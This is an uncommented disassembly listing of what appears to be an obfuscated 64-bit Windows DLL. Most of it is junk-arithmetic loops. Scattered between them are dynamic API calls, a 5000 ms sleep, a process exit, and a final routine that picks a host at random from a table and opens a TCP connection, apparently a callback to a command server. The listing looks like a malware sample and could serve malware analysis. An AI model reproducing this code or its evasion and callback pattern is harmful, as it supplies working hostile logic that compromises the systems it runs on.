cmp qword [rsp], r10
jle 0x180003a32
add rsp, 0x10
add edx, dword [rbp - 0x46]
mov ecx, dword [rbp - 0xd]
cmp r10, 0xffffffffc0daa575
js 0x180003a66
mov eax, ecx
mov ecx, edx
movzx ecx, cx
mov rdx, qword [rbp - 0x18]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003b29
mov dword [rbp - 0x3f], edx
mov ecx, edx
mov qword [rbp - 0x26], r11
sub qword [rbp - 0xd], rcx
mov eax, edx
mov eax, dword [rbp - 0x23]
movzx eax, cl
or dword [rbp - 0x13], eax
mov qword [rbp - 0x45], r11
mov dword [rbp - 0x23], edx
movzx eax, byte [rbp - 0x45]
mov eax, dword [rbp - 0x26]
movzx edx, ah
sub rax, qword [rbp - 0x1b]
mov rcx, 0x6606
mov r9, rcx
xor ax, word [rbp - 0x3b]
mov rax, qword [rbp - 0x2e]
mov eax, edx
and eax, dword [rbp - 0x4a]
mov qword [rbp - 0x4e], r10
add eax, dword [rbp - 0x22]
mov qword [rbp - 0x24], r8
lea r8, [rbp - 0x3b]
mov qword [0x180008951], rcx
mov rcx, r8
and r11, qword [rbp - 0x47]
movzx edx, byte [0x180008952]
mov dword [rbp - 0x48], edx
sub edx, 0x2bef
xor r9, 0xcd9c
add eax, 0x5314
sub edx, eax
mov ecx, dword [rbp - 0x16]
add ecx, dword [rbp - 9]
mov ecx, dword [rbp - 0x1d]
add eax, edx
or r11, 0x45fc
and eax, ecx
mov r8, qword [rbp - 0x2f]
mov ecx, dword [rbp - 0x17]
movzx edx, cl
or edx, ecx
mov ch, al
mov cx, word [rbp - 0x44]
inc qword [rsp]
cmp qword [rsp], 0x7e21
jle 0x180003a80
add rsp, 0x10
leave
pop rax
pop rax
cmp eax, 0xffffffff
jne 0x180003bd5
mov rcx, qword [0x180008205]
mov rax, qword [0x1800088d4]
call rax
mov qword [0x180008205], 0
jmp 0x180002f2d
mov rcx, rbx
lea rdx, [0x1800081be]
mov rax, qword [0x180008904]
call rax
cmp rax, 0
je 0x180003b47
mov rcx, rbx
lea rdx, [0x1800081ce]
mov rax, qword [0x180008904]
call rax
cmp rax, 0
je 0x180003b47
mov rbx, rax
add rbx, 4
cmp dword [rbx], 0x66666f6f
je 0x180004728
cmp dword [rbp - 0xbe], 0
je 0x180003b47
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x458
mov r8, qword [rbp - 0x312]
mov edi, 0x9f52
and edx, dword [0x180008959]
and qword [0x180008953], r9
mov qword [rbp - 0x37b], rdx
lea rcx, [rbp - 0x2b2]
movzx edx, al
mov edi, dword [rbp - 0x312]
mov qword [0x18000894e], r8
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003cec
mov qword [rbp - 0x2d2], rcx
movzx edi, ah
mov qword [rbp - 0x2a9], r11
mov r8, qword [rbp - 0x405]
and dword [rbp - 0x265], ecx
mov qword [rbp - 0x3d4], r9
add qword [rbp - 0x68], rdi
and rdx, qword [rbp - 0x1f7]
mov rax, qword [rbp - 0x1a5]
movzx edi, byte [rbp - 0x1d4]
xor qword [rbp - 0xe9], rdi
mov edi, dword [rbp - 0x8a]
sub rdx, rax
xor edi, 0x5db1
add eax, dword [rbp - 0x8a]
lea rdx, [rbp - 0x2d2]
lea rax, [rbp - 0xa2]
inc qword [rsp]
mov edx, 0xf7f7
cmp edx, dword [rsp]
jl 0x180003c80
add rsp, 0x10
or dword [rbp - 0x42f], ecx
sub r11, qword [rbp - 0x268]
and dword [rbp - 0x286], edx
mov dword [rbp - 0x417], edx
mov qword [0x180008954], rcx
sub r9, qword [0x180008951]
mov edx, edi
and edx, dword [rbp - 0x3f5]
mov eax, dword [rbp - 0x194]
sub dword [0x180008955], ecx
mov edi, dword [rbp - 0x210]
sub r11, 0xb857
mov ecx, dword [rbp - 0xfa]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003dcf
mov qword [rbp - 0x14a], rcx
mov edi, dword [rbp - 0x275]
add rdi, r8
mov dword [rbp - 0xd5], eax
mov r9, qword [rbp - 0x3dc]
mov eax, ecx
mov edi, dword [rbp - 0x310]
mov eax, dword [rbp - 0x251]
add dword [rbp - 0x417], edx
sub r10, 0x6cbe
mov qword [rbp - 0x23e], rcx
movzx edx, cl
mov rdx, rcx
and edi, 0xab24
mov r8, qword [rbp - 0x7d]
xor dword [rbp - 0xcc], edx
mov eax, dword [rbp - 0x30c]
sub rdi, qword [rbp - 0x324]
and edx, dword [rbp - 0x114]
mov dword [rbp - 0x1f1], edi
xor r8, qword [rbp - 0x267]
inc qword [rsp]
mov r11, 0xcf1e
cmp qword [rsp], r11
jle 0x180003d56
add rsp, 0x10
mov edx, dword [rbp - 0x32]
mov r9, rdx
add dword [rbp - 0x243], ecx
mov dword [rbp - 0x1d9], ecx
mov rdx, qword [rbp - 0x3f7]
cmp eax, 0xc2ba0956
je 0x180003e04
leave
pop rdi
mov rdi, rbx
movsxd rsi, dword [rbp - 0xbe]
mov r12, rsi
dec rsi
call fcn.1800047c9
movsxd rsi, dword [rbp - 0xbe]
mov al, byte [rbx + rsi - 1]
mov byte [0x180008398], al
call fcn.180006158
lea rsi, [0x18000801b]
push rbp
mov rbp, rsp
sub rsp, 0xb8
add dx, 0x6e2f
xor r9, qword [rbp - 0x4d]
mov dword [rbp - 0x63], edx
mov dword [rbp - 0x22], eax
movzx eax, al
mov r8, rcx
mov rcx, qword [rbp - 0x66]
mov r8, qword [rbp - 0x9a]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003ea6
sub r9, 0x42dc
movzx edx, cl
mov r8, rax
xor dword [rbp - 0xa6], edx
and ecx, 0xd604
movzx ecx, ah
mov qword [rbp - 0x14], r10
mov qword [rbp - 0x93], r10
mov word [rbp - 0x78], ax
mov r11, rdx
mov ah, byte [rbp - 0x1f]
inc qword [rsp]
cmp qword [rsp], 0x5bfc
jle 0x180003e71
add rsp, 0x10
sub edx, dword [rbp - 0x7a]
and rcx, qword [rbp - 0x29]
mov eax, dword [rbp - 0xa0]
mov eax, edx
mov eax, ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003f4b
mov edx, eax
mov dword [rbp - 0xa7], ecx
xor ecx, dword [rbp - 0x9c]
sub edx, dword [rbp - 0x39]
mov rcx, r9
mov eax, dword [0x180008952]
mov qword [rbp - 0x46], r11
mov r10, qword [rbp - 0x77]
and r9, qword [0x180008951]
add rdx, qword [rbp - 0x15]
or ecx, dword [rbp - 0x32]
mov edx, dword [0x180008957]
mov r9, rcx
add rax, 0x5db4
xor r11, 0x515a
mov r8, qword [rbp - 0xa7]
mov qword [rbp - 0x6e], rdx
mov rax, qword [rbp - 0x76]
mov ecx, dword [rbp - 0x56]
xor r8, 0x13ef
add r9, 0xdbea
mov dword [rbp - 0x97], ecx
mov rdx, r8
mov ecx, 0x522e
inc qword [rsp]
cmp qword [rsp], 0xa988
jle 0x180003ed3
add rsp, 0x10
mov qword [0x180008952], r11
mov qword [rbp - 0x6e], rax
mov edx, dword [0x180008951]
mov rax, qword [rbp - 0xa0]
or ecx, dword [rbp - 0x7d]
mov rax, qword [rbp - 0xa9]
mov edx, dword [rbp - 0xa7]
movzx eax, ch
mov r11, rdx
sub rcx, qword [rbp - 0x56]
mov qword [rbp - 0x8b], r11
mov dword [rbp - 0xa7], eax
sub edx, ecx
movzx edx, dl
leave
mov rcx, rsi
lea rdx, [0x18000811b]
cmp byte [0x180008398], 1
jne 0x180003fbc
lea rdx, [0x180008120]
mov rax, qword [0x1800088f4]
call rax
mov rcx, rsi
lea rdx, [0x18000820d]
mov rax, qword [0x1800088cc]
call rax
push rax
push rax
push r13
push rbp
mov rbp, rsp
sub rsp, 0x448
mov dword [rbp - 0x2de], ecx
mov qword [rbp - 0x40a], rax
movzx eax, ah
mov dword [rbp - 0x1a], eax
mov eax, dword [rbp - 0x87]
lea rcx, [rbp - 0x3bb]
mov rax, 0x4912
mov ecx, edx
mov dword [rbp - 0x43b], edx
add edx, 0xce0e
and eax, dword [rbp - 0xc7]
mov r8, r9
xor dword [rbp - 0x40e], edx
sub ecx, edx
add qword [rbp - 0x10e], rdx
xor r9, r10
or byte [rbp - 0x3c], dh
mov ecx, dword [rbp - 0x33a]
add r11, qword [0x18000895a]
mov eax, dword [rbp - 0x1ac]
mov rdx, qword [rbp - 0x3d9]
movzx ecx, cx
mov rax, 0x4763
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180004119
and ecx, eax
mov eax, dword [rbp - 0x3f4]
mov dword [rbp - 0x384], edx
mov edx, dword [rbp - 0x25a]
movzx eax, al
mov qword [rbp - 0x2e5], rdx
mov qword [rbp - 0x3ba], r8
add rcx, 0x19c0
mov eax, edx
mov dword [rbp - 0x311], ecx
mov qword [rbp - 0x240], r9
mov dword [rbp - 0xab], edx
add r8, qword [rbp - 0x18]
add qword [rbp - 0x20d], r11
mov edx, dword [rbp - 0x4a]
lea r13, [rbp - 0x28c]
and r11, qword [rbp - 0x377]
mov qword [rbp - 0x136], rax
mov r13, 0x5c7a
sub eax, dword [rbp - 0x3a8]
lea r9, [rbp - 0x1a]
movzx edx, cx
add r13, 0x766d
mov qword [rbp - 0x108], r13
mov r13, qword [rbp - 0x415]
mov eax, ecx
mov qword [rbp - 0x322], r9
mov ecx, dword [rbp - 0x3e5]
movzx eax, al
or qword [rbp - 0x2e1], r9
inc qword [rsp]
cmp qword [rsp], 0xd516
jle 0x18000406f
add rsp, 0x10
leave
pop r13
pop rax
pop rax
cmp rax, 0
je 0x180003b47
mov rdi, rax
mov rcx, rbx
mov rdx, 1
movsxd r8, dword [rbp - 0xbe]
dec r8
mov r9, rdi
mov rax, qword [0x1800088dc]
call rax
push r13
push rbx
push r14
push rsi
push r12
push r15
push rdi
push rbp
mov rbp, rsp
sub rsp, 0x508
sub rcx, 0x8a13
mov ebx, 0x82f9
add qword [rbp - 0x120], rsi
mov qword [rbp - 0x24b], rcx
mov r14, qword [rbp - 0x4fd]
sub r12, rax
sub dword [rbp - 0x491], eax
movzx ebx, byte [rbp - 0x28f]
mov qword [rbp - 0xa1], r15
mov r11, rsi
mov ch, byte [rbp - 0x46c]
or r15, rsi
mov dword [rbp - 0x1f7], edx
mov rsi, qword [rbp - 0x3dd]
mov rcx, r9
mov r13, qword [rbp - 0x1d1]
movzx edx, byte [rbp - 0x28a]
sub r15, qword [rbp - 0x255]
lea r11, [rbp - 0x368]
add esi, dword [rbp - 0x32]
add dword [rbp - 0x96], edi
mov qword [rbp - 0x190], r8
mov ecx, dword [rbp - 0x45c]
sub r14, 0x1dfc
mov dword [rbp - 0x354], ebx
cmp si, word [0x18000895a]
jmp 0x180004226
sub dword [rbp - 0x2a3], ebx
mov dword [0x180008959], ebx
mov dword [rbp - 0x225], ebx
or r12, qword [rbp - 0x245]
mov qword [rbp - 0x11a], r10
cmp edx, edi
jne 0x18000425b
mov rax, qword [rbp - 0x389]
mov qword [rbp - 0x40c], rbx
movzx ebx, ch
mov rdx, qword [rbp - 0xa3]
mov edx, dword [rbp - 0x169]
mov eax, dword [rbp - 0x4c4]
sub ebx, dword [rbp - 0x440]
or qword [rbp - 0x28], rdi
sub rsi, rax
mov qword [rbp - 0x4d3], rsi
mov edx, dword [rbp - 0x2c0]
xor edi, edx
movzx eax, bl
mov r11, r14
test eax, edx
jo 0x1800042e2
mov dword [rbp - 0x234], ecx
or r9, qword [rbp - 0x4f6]
xor rax, rcx
mov dword [rbp - 0x94], ebx
mov esi, dword [rbp - 0x9c]
mov ebx, dword [rbp - 0xd3]
add dword [rbp - 0xbd], esi
mov rsi, qword [rbp - 0x1b1]
mov qword [rbp - 0x487], rbx
mov rdx, qword [rbp - 0xea]
mov r9, 0xf9bc
xor rax, qword [rbp - 0x27b]
movzx edi, ah
leave
pop rdi
pop r15
pop r12
pop rsi
pop r14
pop rbx
pop r13
mov rcx, rdi
mov rax, qword [0x1800088c4]
call rax
mov rcx, qword [0x180008205]
mov rax, qword [0x1800088d4]
call rax
mov qword [0x180008205], 0
cmp byte [0x180008398], 1
jne 0x18000433f
lea rcx, [0x1800083af]
lea rdx, [0x180008399]
mov r8, rsi
mov rax, qword [0x1800088ec]
call rax
lea rsi, [0x1800083af]
push rbp
mov rbp, rsp
sub rsp, 0x428
mov qword [rbp - 0x81], rax
add r10, 0x50d7
mov ecx, eax
mov r10, rdx
mov eax, ecx
mov dword [rbp - 0x2a1], eax
add qword [rbp - 0x225], rdx
mov eax, dword [rbp - 0x236]
mov eax, ecx
mov dword [rbp - 0x3b], ecx
lea r10, [rbp - 0x3e7]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800043fe
add r9, rcx
add dword [rbp - 0x3ee], edx
mov eax, dword [0x180008956]
or r9, qword [rbp - 0x7f]
mov ecx, dword [rbp - 0xc0]
or rax, qword [rbp - 0x1f8]
movzx ecx, dl
or dword [rbp - 0x1ba], edx
mov edx, eax
xor rcx, rax
mov qword [rbp - 0xca], rcx
sub qword [rbp - 0x3cb], r8
sub ecx, dword [rbp - 0x1e6]
mov rax, qword [rbp - 0x2fd]
mov eax, ecx
mov eax, dword [rbp - 0x21c]
mov rcx, qword [rbp - 0x200]
mov r11, qword [rbp - 0x12d]
mov qword [rbp - 0x1b1], r8
mov dword [rbp - 0x92], ecx
add eax, ecx
inc qword [rsp]
mov rcx, 0x3a92
cmp qword [rsp], rcx
jle 0x18000438c
add rsp, 0x10
xor eax, dword [rbp - 0x38b]
xor dword [rbp - 0xa7], eax
sub r8, qword [rbp - 2]
mov dword [rbp - 0x21a], edx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800044da
or r9, qword [rbp - 0x97]
mov ah, byte [rbp - 0xfa]
mov dword [rbp - 0x316], edx
or dword [rbp - 0x1ab], ecx
mov ecx, edx
mov eax, ecx
mov r10, r11
add ecx, dword [rbp - 0x282]
sub edx, dword [0x180008951]
mov dword [rbp - 0x227], edx
add edx, dword [rbp - 0x59]
mov qword [rbp - 0x360], rcx
add edx, dword [0x180008956]
mov r8, 0xb918
mov rcx, r11
mov edx, 0x9739
sub dword [rbp - 0x312], eax
sub rdx, 0x7e1c
sub r8, qword [rbp - 0x230]
sub qword [0x180008954], r11
mov dword [rbp - 0x187], edx
mov eax, dword [0x180008951]
mov rdx, rcx
xor qword [rbp - 0x248], r11
and dword [0x18000894d], edx
movzx ecx, byte [rbp - 0x38d]
add ecx, dword [rbp - 0x2e9]
add dword [rbp - 0xb3], edx
mov eax, ecx
mov edx, dword [rbp - 0x41]
inc qword [rsp]
mov rax, 0x2af0
cmp qword [rsp], rax
jle 0x180004436
add rsp, 0x10
leave
lea rcx, [0x180008017]
mov rax, qword [0x180008914]
call rax
lea rcx, [0x18000801b]
lea rdx, [0x180008008]
mov r8, rax
mov rax, qword [0x1800088ec]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x2d8
or ecx, dword [rbp - 0x27]
mov ecx, 0x9726
sub eax, ecx
movzx edx, byte [0x18000894f]
mov eax, dword [rbp - 0x16a]
mov qword [rbp - 0x192], rcx
and r11, qword [rbp - 0x12d]
mov edx, dword [rbp - 0x221]
mov qword [rbp - 0xcf], r10
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000458d
mov dword [rbp - 0x1f9], ecx
mov dword [rbp - 0x19b], eax
mov r9, qword [rbp - 0xde]
mov rcx, r9
mov rcx, qword [rbp - 0x288]
mov qword [0x18000894e], rdx
inc qword [rsp]
mov eax, 0x9ad1
cmp eax, dword [rsp]
jl 0x180004565
add rsp, 0x10
mov edx, dword [0x180008950]
mov rdx, r9
sub eax, dword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
mov r11, qword [0x180008952]
mov edx, dword [rbp - 0x16f]
mov dword [rbp - 0x15c], edx
mov qword [rbp - 0x117], r8
and r10, rcx
mov dword [rbp - 0x8b], eax
xor edx, dword [str.qCNNQXew25vhFEj0Wbv971A1zbYmG0VJLK8TKDXc4BoT6R6txA6lb9b88oCG6dUawTNITRqeb1I4]
mov rcx, r9
mov dword [rbp - 0x37], eax
mov dword [0x180008957], edx
and r11, qword [rbp - 0x23a]
add r11, qword [rbp - 0x72]
mov edx, ecx
add eax, ecx
mov dword [rbp - 0x1a9], ecx
sub rcx, 0x6fb0
mov qword [rbp - 0x291], r9
or ecx, 0x8711
sub dword [rbp - 0x111], eax
sub rax, 0xbed2
mov r9, qword [rbp - 0x72]
mov rax, qword [rbp - 0x24e]
mov eax, ecx
mov qword [rbp - 0x1c2], r10
mov edx, dword [rbp - 0xaf]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180004657
add eax, dword [rbp - 4]
add r10, rdx
mov qword [rbp - 0x64], rax
mov qword [0x180008952], rcx
mov eax, dword [rbp - 0x16f]
inc qword [rsp]
mov rdx, 0xeaf8
cmp qword [rsp], rdx
jle 0x18000463c
add rsp, 0x10
test dword [0x180008951], edx
je 0x1800046ee
mov edx, eax
add ecx, dword [rbp - 0x251]
mov ecx, eax
mov qword [0x180008952], r8
lea r9, [rbp - 0x1ca]
or eax, dword [rbp - 0xdf]
movzx edx, byte [rbp - 0x10c]
mov r11, qword [rbp - 0x1f9]
mov eax, dword [rbp - 0x200]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800046db
mov rcx, 0x1aa1
cmp qword [rsp], rcx
jle 0x1800046b0
leave
lea rcx, [0x18000801b]
lea rdx, [0x18000820d]
mov rax, qword [0x1800088cc]
call rax
test rax, rax
jne 0x180004717
mov rcx, rax
mov rax, qword [0x1800088c4]
call rax
mov r10, 0
call fcn.180005429
jmp 0x1800039f9
mov rax, 0
call sub.KERNEL32.dll_ExitProcess
push r15
push rbx
push r13
push r12
push rdi
push r14
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x368
mov dword [rbp - 0x160], edi
mov r15, qword [rbp - 0x15e]
mov edi, ecx
mov ah, 0x15
movzx edx, dh
mov r15, r9
movzx ebx, cl
lea rax, [rbp - 0x1fe]
mov rsi, r12
mov qword [rbp - 0x265], r12
xor qword [rbp - 0x247], r10
sub qword [rbp - 0x336], rdx
mov qword [rbp - 0xde], r12
sub rax, qword [rbp - 0x2b7]
movzx eax, bh
add rdx, qword [rbp - 0x25]
mov r13, qword [rbp - 0x1ac]
mov edx, dword [0x180008957]
call sub.KERNEL32.dll_VerifyScripts
mov edi, ebx
or rbx, 0xadb8
lea r12, [rbp - 0x2c9]
leave
pop rsi
pop r14
pop rdi
pop r12
pop r13
pop rbx
pop r15
ret
push r12
push rsi
push rbp
mov rbp, rsp
sub rsp, 0x388
mov dword [rbp - 0x133], edx
lea r9, [rbp - 0x232]
xor ecx, dword [0x180008957]
mov rax, qword [0x180008959]
mov eax, edx
or qword [rbp - 0x134], rcx
add edx, dword [0x180008959]
and ecx, dword [rbp - 0x25d]
add ecx, dword [0x18000894e]
mov esi, eax
mov dword [rbp - 0x216], edx
xor dword [rbp - 0x2f], esi
cmp r12, qword [0x18000894d]
je 0x180006d47
mov qword [rbp - 0xdb], r12
mov r9, qword [rbp - 0x2f]
mov ecx, 0xb38b
mov dword [rbp - 0x51], ecx
mov edx, dword [rbp - 0x194]
sub r10, r11
sub qword [rbp - 0x191], r12
mov dword [rbp - 0x1be], edx
mov dword [rbp - 0x2d4], ecx
lea r12, [rbp - 0x14f]
or dword [rbp - 0x1fc], esi
lea rax, [rbp - 0x1c0]
mov qword [rbp - 0x1a2], r11
add rsi, 0xef7d
movzx edx, ch
mov r8, qword [rbp - 0x2d5]
mov ecx, dword [rbp - 0x228]
mov r11, qword [rbp - 0x177]
mov esi, eax
mov esi, dword [rbp - 0x34b]
mov eax, ecx
movzx eax, ah
sub esi, dword [rbp - 0x12c]
mov dword [rbp - 0xfe], esi
mov rcx, r12
mov esi, eax
mov ecx, eax
mov esi, dword [rbp - 0x164]
mov dword [rbp - 0x40], ecx
mov r10, qword [rbp - 0xd5]
sub eax, dword [rbp - 0x298]
or edx, ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180006d39
mov ecx, dword [rbp - 0x1f]
mov eax, dword [rbp - 0x63]
movzx esi, dl
inc qword [rsp]
cmp qword [rsp], 0x787a
jle 0x180006d2c
add rsp, 0x10
leave
pop rsi
pop r12
mov rcx, 0x1388
call sub.KERNEL32.dll_Sleep
mov rax, 0
cmp rax, 0
je 0x180006c23
push rbx
sub rsp, 0x30
call sub.msvcrt.dll_rand
cdq
idiv dword [0x180008818]
lea rcx, [0x180008810]
mov rcx, qword [rcx + rdx*8]
mov qword [0x18000812c], rcx
xor r8d, r8d
lea rdx, [0x180008129]
mov qword [rsp + 0x28], 0
lea r9, [rsp + 0x28]
call sub.WS2_32.dll_getaddrinfo
test eax, eax
jne 0x180006e02
mov rax, qword [rsp + 0x28]
mov r8d, 6
mov edx, 1
mov ecx, dword [rax + 4]
call sub.WS2_32.dll_socket
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180006df8
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x20]
mov r8d, dword [rcx + 0x10]
mov rcx, rbx
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x180006df0
mov rax, rbx
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
call sub.WS2_32.dll_closesocket
mov rcx, qword [rsp + 0x28]
call sub.WS2_32.dll_freeaddrinfo
mov rax, 0xffffffffffffffff
add rsp, 0x30
pop rbx
ret